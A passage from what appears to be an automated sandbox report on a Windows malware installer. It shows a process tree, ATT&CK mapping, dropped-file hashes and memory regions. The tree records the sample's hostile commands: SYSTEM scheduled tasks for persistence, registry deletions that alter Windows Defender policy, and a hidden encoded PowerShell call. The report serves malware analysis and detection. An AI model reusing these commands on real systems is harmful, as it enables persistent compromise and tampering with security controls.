                                                                                                              PID:3764
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gvFYEdyWd"
                                                                                                              2⤵
                                                                                                                PID:204
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "tRsUEOedRvIwZoOQu" /SC once /ST 10:37:15 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe\" nL /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:2096
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "tRsUEOedRvIwZoOQu"
                                                                                                                2⤵
                                                                                                                  PID:3620
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2008
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:4208
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:4524
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:924
                                                                                                                    • C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe
                                                                                                                      C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe nL /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4968
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "boytPmuAkKgmiEZYSe"
                                                                                                                        2⤵
                                                                                                                          PID:5008
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:1904
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:4484
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:4564
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:4384
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\wRLQelouU\OfNExw.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "xhAFLspUEGhlntx" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1368
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "xhAFLspUEGhlntx2" /F /xml "C:\Program Files (x86)\wRLQelouU\swJuFXJ.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:600
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "xhAFLspUEGhlntx"
                                                                                                                                  2⤵
                                                                                                                                    PID:972
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "xhAFLspUEGhlntx"
                                                                                                                                    2⤵
                                                                                                                                      PID:3008
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "TGleSCHdxQCUEC" /F /xml "C:\Program Files (x86)\OKneYAAzclQU2\CIAvEQQ.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:752
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "iixDycgqswbNt2" /F /xml "C:\ProgramData\WoychCUlhHkYXpVB\wcimnZz.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2148
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "PdJioIBoJxlJjfqRR2" /F /xml "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\ODmciAv.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1260
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "uIlXdWmTwvbWFvFElbK2" /F /xml "C:\Program Files (x86)\eCbNXTSQanJlC\oFRUBuM.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4448
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "jwkhvtMiulvJCTqog" /SC once /ST 20:13:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2064
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "jwkhvtMiulvJCTqog"
                                                                                                                                      2⤵
                                                                                                                                        PID:4028
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:1876
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:3172
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:3944
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3728
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "tRsUEOedRvIwZoOQu"
                                                                                                                                                2⤵
                                                                                                                                                  PID:1796
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:1504
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:3136
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "jwkhvtMiulvJCTqog"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2260

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                  Execution

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Persistence

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Privilege Escalation

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Credential Access

                                                                                                                                                  Credentials in Files

                                                                                                                                                  1
                                                                                                                                                  T1081

                                                                                                                                                  Discovery

                                                                                                                                                  Query Registry

                                                                                                                                                  4
                                                                                                                                                  T1012

                                                                                                                                                  System Information Discovery

                                                                                                                                                  4
                                                                                                                                                  T1082

                                                                                                                                                  Collection

                                                                                                                                                  Data from Local System

                                                                                                                                                  1
                                                                                                                                                  T1005

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\OKneYAAzclQU2\CIAvEQQ.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    5c50d08765ab4002d93109db159a545b

                                                                                                                                                    SHA1

                                                                                                                                                    aa65510167f709b2ce736c9310cee9833ccc899b

                                                                                                                                                    SHA256

                                                                                                                                                    7e6848dafe38291b39e4f799d35c98e1c1510aa6e3e83c701297155798911da0

                                                                                                                                                    SHA512

                                                                                                                                                    638ef0b9001ce7014f0f1f8f5421515e2b618f7555c2ef9682229067921ef71aecd0db46026d57a4e9363f61dfdf0b22ce46c8866faf96036c2c01e4a61503d7

                                                                                                                                                  • C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\ODmciAv.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    df94b01dcb647d3938afdd17613490c5

                                                                                                                                                    SHA1

                                                                                                                                                    394af34032aca76b741584163b6948c0b42b3958

                                                                                                                                                    SHA256

                                                                                                                                                    46e776e65b57e6e3998872e593e7b5d324a6821625681767aaa0a2929ef3d89b

                                                                                                                                                    SHA512

                                                                                                                                                    6e4ff82f2b19c1cd74098fd6c329b1d0a9bc38b7086f664e24baf527b620b0cb85e3fb8e6e33d4b94ce5ee6ad854d380a46e241b3db976eac25e559ba2e788d3

                                                                                                                                                  • C:\Program Files (x86)\eCbNXTSQanJlC\oFRUBuM.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    5fba027e9764f4f096c61e5a1464c5c2

                                                                                                                                                    SHA1

                                                                                                                                                    00feb17a009c27de05e25edfa7a54de847db6f5d

                                                                                                                                                    SHA256

                                                                                                                                                    836f321d36b3354ee4a6eaa38ac2b53cf935fb1595db8ed6ad4fa9d548bb9f40

                                                                                                                                                    SHA512

                                                                                                                                                    9ebaef3a58407b39fe19ae3ce8490d4950f59a6af1f35a1bbc2c3b713cda6b25a12f460b7ed7b75f8f74291bb84441f9bed9de1dd102cb7a826418653be4a318

                                                                                                                                                  • C:\Program Files (x86)\wRLQelouU\swJuFXJ.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8ea8af314a1b97f168521baef0bfa8aa

                                                                                                                                                    SHA1

                                                                                                                                                    7ae58e131a9d5d4ab44661b49f997e334d403866

                                                                                                                                                    SHA256

                                                                                                                                                    c84e7e28e6d1637535214e4352f0098dee0c366debeb98a31c88bc65023fa254

                                                                                                                                                    SHA512

                                                                                                                                                    9b06db6507dc7fb9484b524e442ec503f29b60b7db5f10348e100b1e5a1cf8f3cb5763006e87545a5bf81430b787d2642556ea4b6efe2b842bb0a3193be738fc

                                                                                                                                                  • C:\ProgramData\WoychCUlhHkYXpVB\wcimnZz.xml
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    118581c088836458da21a180b9d2a695

                                                                                                                                                    SHA1

                                                                                                                                                    e9f8e852bbdd7eaa90186616e812c6bf1422c59c

                                                                                                                                                    SHA256

                                                                                                                                                    a0ce8aec1bec7f1d9344b6b3de37f0132d328366ab4d5c0588558710ae651b38

                                                                                                                                                    SHA512

                                                                                                                                                    57fb972773e1a87a3aceebd599bd24275ebe68d119a9f082e4b71ce15be6ded11729981be399296b13ee1826b69f87fc139ac17051b729b19245682f442b6d68

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    a6c9d692ed2826ecb12c09356e69cc09

                                                                                                                                                    SHA1

                                                                                                                                                    def728a6138cf083d8a7c61337f3c9dade41a37f

                                                                                                                                                    SHA256

                                                                                                                                                    a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

                                                                                                                                                    SHA512

                                                                                                                                                    2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS77D4.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    0b01d377cd18f4beb7f7134741e343e8

                                                                                                                                                    SHA1

                                                                                                                                                    6dc5ae47d7776c8b22548184a8828163c2a08c9c

                                                                                                                                                    SHA256

                                                                                                                                                    21dd176a62fdfd0fb651f946eaaeb9834608e30e66b6a3605ed9664a6274a9c5

                                                                                                                                                    SHA512

                                                                                                                                                    b6ba0d89b7f75bcab75eb0e6e91395dd96734a6db0c5902a2c5adfb658a593f1aebcf106d4ed23501baba046924f6f4fbe6f7fec326d14877d1fabee488ea696

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS77D4.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    0b01d377cd18f4beb7f7134741e343e8

                                                                                                                                                    SHA1

                                                                                                                                                    6dc5ae47d7776c8b22548184a8828163c2a08c9c

                                                                                                                                                    SHA256

                                                                                                                                                    21dd176a62fdfd0fb651f946eaaeb9834608e30e66b6a3605ed9664a6274a9c5

                                                                                                                                                    SHA512

                                                                                                                                                    b6ba0d89b7f75bcab75eb0e6e91395dd96734a6db0c5902a2c5adfb658a593f1aebcf106d4ed23501baba046924f6f4fbe6f7fec326d14877d1fabee488ea696

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS7EBA.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS7EBA.tmp\Install.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    1ab4a78a7fd616b2fbe46fd71503e64c

                                                                                                                                                    SHA1

                                                                                                                                                    72c94f634da11985a8017a76bb7c6d1437ffc9c3

                                                                                                                                                    SHA256

                                                                                                                                                    19005b385b3349b1300634179a1a078e150f333d52e17c5710db99fe999c60de

                                                                                                                                                    SHA512

                                                                                                                                                    32d8f714bceda727a953d96496bedc5102f06e899762ad5119c41df3579793a2a8a1c8ac0b5d51e53f25713bde19162e5668dd0d1fa61810a2ef399bec6ec6e7

                                                                                                                                                  • C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                  • C:\Windows\Temp\UIFvrSrxAzeYKEuX\VEdIRfVaNlgFjwC\ZPXUwoB.exe
                                                                                                                                                    Filesize

                                                                                                                                                    6.9MB

                                                                                                                                                    MD5

                                                                                                                                                    2cbf7a5984ef2b3f36e26375ed9f8d12

                                                                                                                                                    SHA1

                                                                                                                                                    8aac7877150b79530bd87250a67685118a66b964

                                                                                                                                                    SHA256

                                                                                                                                                    06ff91645cc2c770e71f8c2fde6875296bec5ce0bceda64b34b09c2b0bed5b60

                                                                                                                                                    SHA512

                                                                                                                                                    e92a3a03bbf1622f950d57665339a9d73de98817335a6d6eac160b0d9365abb99ce71ca33cc670de343b13fcc5837613832e0d5223039c904b3e18835b8bc49b

                                                                                                                                                  • C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll
                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    630ce76ed2167a47b527cefac9f2484c

                                                                                                                                                    SHA1

                                                                                                                                                    54cd9466c1584d9c248dcc54700d8b6aac5a91c1

                                                                                                                                                    SHA256

                                                                                                                                                    2e88294e7cfb72cafd8235df3187cdd899b69ea6ffef83f493a39a1ab11636fb

                                                                                                                                                    SHA512

                                                                                                                                                    e64f4507fa2716d1f90959e0db3b4b6b24062be8bcde88fa6b057f782415250e55233b4e7129859b548e90e3bd3c3529f74aec56e6d7e61bb8d6a1bb15de9507

                                                                                                                                                  • C:\Windows\Temp\UIFvrSrxAzeYKEuX\pyzYXpxw\YloAUfR.dll
                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    630ce76ed2167a47b527cefac9f2484c

                                                                                                                                                    SHA1

                                                                                                                                                    54cd9466c1584d9c248dcc54700d8b6aac5a91c1

                                                                                                                                                    SHA256

                                                                                                                                                    2e88294e7cfb72cafd8235df3187cdd899b69ea6ffef83f493a39a1ab11636fb

                                                                                                                                                    SHA512

                                                                                                                                                    e64f4507fa2716d1f90959e0db3b4b6b24062be8bcde88fa6b057f782415250e55233b4e7129859b548e90e3bd3c3529f74aec56e6d7e61bb8d6a1bb15de9507

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol
                                                                                                                                                    Filesize

                                                                                                                                                    4KB

                                                                                                                                                    MD5

                                                                                                                                                    7c1ad996e29d3c469b689946adda81aa

                                                                                                                                                    SHA1

                                                                                                                                                    22f3a0bf640277f9000caa6a60e2330d3d37a3da

                                                                                                                                                    SHA256

                                                                                                                                                    a2915a0b535e1d9321a761dd26658266804db54cd34bfd2133087997587ab75e

                                                                                                                                                    SHA512

                                                                                                                                                    b804644a19d87a991f2ec12badb2b8ebca9c010aff069283997e24c4f5fe05e24a5f2e054d2728a4d771898b434c37aaea18a32a7aa073c4226b98212c5f2a87

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini
                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/204-222-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/208-173-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/216-175-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/232-149-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/428-213-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/580-186-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/808-199-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/992-178-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1088-180-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1116-163-0x0000000000DB0000-0x0000000000DE6000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/1116-167-0x0000000004060000-0x00000000040C6000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/1116-168-0x00000000046E0000-0x00000000046FE000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/1116-164-0x0000000003810000-0x0000000003E38000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/1116-165-0x0000000003710000-0x0000000003732000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/1116-166-0x0000000003FF0000-0x0000000004056000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/1116-162-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1208-143-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1432-155-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1460-144-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1532-205-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1544-169-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1760-159-0x00000000161B0000-0x00000000174A0000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    18.9MB

                                                                                                                                                  • memory/1800-192-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1852-215-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1872-138-0x0000000017850000-0x0000000018B40000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    18.9MB

                                                                                                                                                  • memory/1872-135-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/1904-154-0x00007FF8B3180000-0x00007FF8B3C41000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/1904-151-0x00007FF8B3180000-0x00007FF8B3C41000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/1904-152-0x00000230F98F0000-0x00000230F9912000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/1904-185-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2008-221-0x00007FF8B2070000-0x00007FF8B2B31000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2008-219-0x00007FF8B2070000-0x00007FF8B2B31000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2096-223-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2096-174-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2188-179-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2196-191-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2348-211-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2508-200-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2568-203-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/2708-171-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/3080-142-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/3136-250-0x0000000002860000-0x0000000003B50000-memory.dmp
                                                                                                                                                    Filesize

                                                                                                                                                    18.9MB

                                                                                                                                                  • memory/3252-210-0x0000000000000000-mapping.dmp
                                                                                                                                                  • memory/3316-156-0x0000000000000000-mapping.dmp
